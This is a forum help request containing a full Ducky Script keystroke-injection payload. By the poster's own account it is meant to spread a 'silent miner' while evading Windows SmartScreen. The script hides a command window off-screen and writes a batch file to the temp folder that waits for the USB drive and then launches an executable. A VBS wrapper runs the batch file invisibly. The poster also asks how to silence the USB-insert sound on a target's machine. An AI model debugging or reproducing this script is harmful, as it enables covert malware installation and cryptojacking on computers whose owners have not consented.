Need some help with Ducky Script

Not sure if this is the right section or not but it seems the closest. I was following a guide given to be about spreading technique and I found this one more intriguing since I have a silent miner but it doesn’t work on windows 10 with smart screen enabled. Something with zone.indentifier and windows ADS. I dunno. Anyways the guide is a few years old and the encoder page is no longer in service. I found a new one but get an error. Code below:

REM Name: RunEXE.txt
REM Purpose: Run an executable file off of the SD card after it mounts.
REM Encoder V2.4
REM Using the run command for a broader OS base.
DEFAULT_DELAY 25
DELAY 3000
GUI r
DELAY 1000
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER

REM Change directories because System32 appears to be protected.
STRING CD %TEMP%
ENTER

REM Make batch file that waits for SD card to mount.
REM Delete batch file if already exists
STRING erase /Q DuckyWait.bat
ENTER
STRING copy con DuckyWait.bat
ENTER
REM DuckyWait.bat
STRING :while1
ENTER
STRING for /f %%d in (‘wmic volume get driveletter^, label ^| findstr
“DUCKY”’) do set myd=%%d
ENTER
STRING if Exist %myd% (
ENTER
STRING goto :break
ENTER
STRING )
ENTER
STRING timeout /t 30
ENTER
STRING goto :while1
ENTER
STRING :break
ENTER
REM Continue script.
STRING START %myd%\example.exe
ENTER
CONTROL z
ENTER

REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY.
REM Delete vbs file if already exists
STRING erase /Q invis.vbs
ENTER
REM FROM: h xx p://stackoverflow dot com/questions/289498/running-batch-file-in-background-when-windows-boots-up
STRING copy con invis.vbs
ENTER
STRING CreateObject(“Wscript.Shell”).Run “”"" & WScript.Arguments(0) & “”"",
0, False
ENTER
CONTROL Z
ENTER

REM RUN THE BATCH FILE
STRING wscript.exe invis.vbs DuckyWait.bat
ENTER
STRING EXIT
ENTER

Using this encoder “h xx ps://ducktoolkit dot com/encoder/” I get the following error below:

Command “DUCKY”’) Not in Language File

Any help would be much appreciated. I’m sure it is something small and I’m missing something but I know nothing how hardware talks to devices etc…

Also is there a way to make sure when the USB is plugged into the target that no noise goes off? When a USB is usually inserted into a PC running windows 7, 8 or 8.1.

Thanks in advance. Much appreciated.

This topic was automatically closed 3 days after the last reply. New replies are no longer allowed.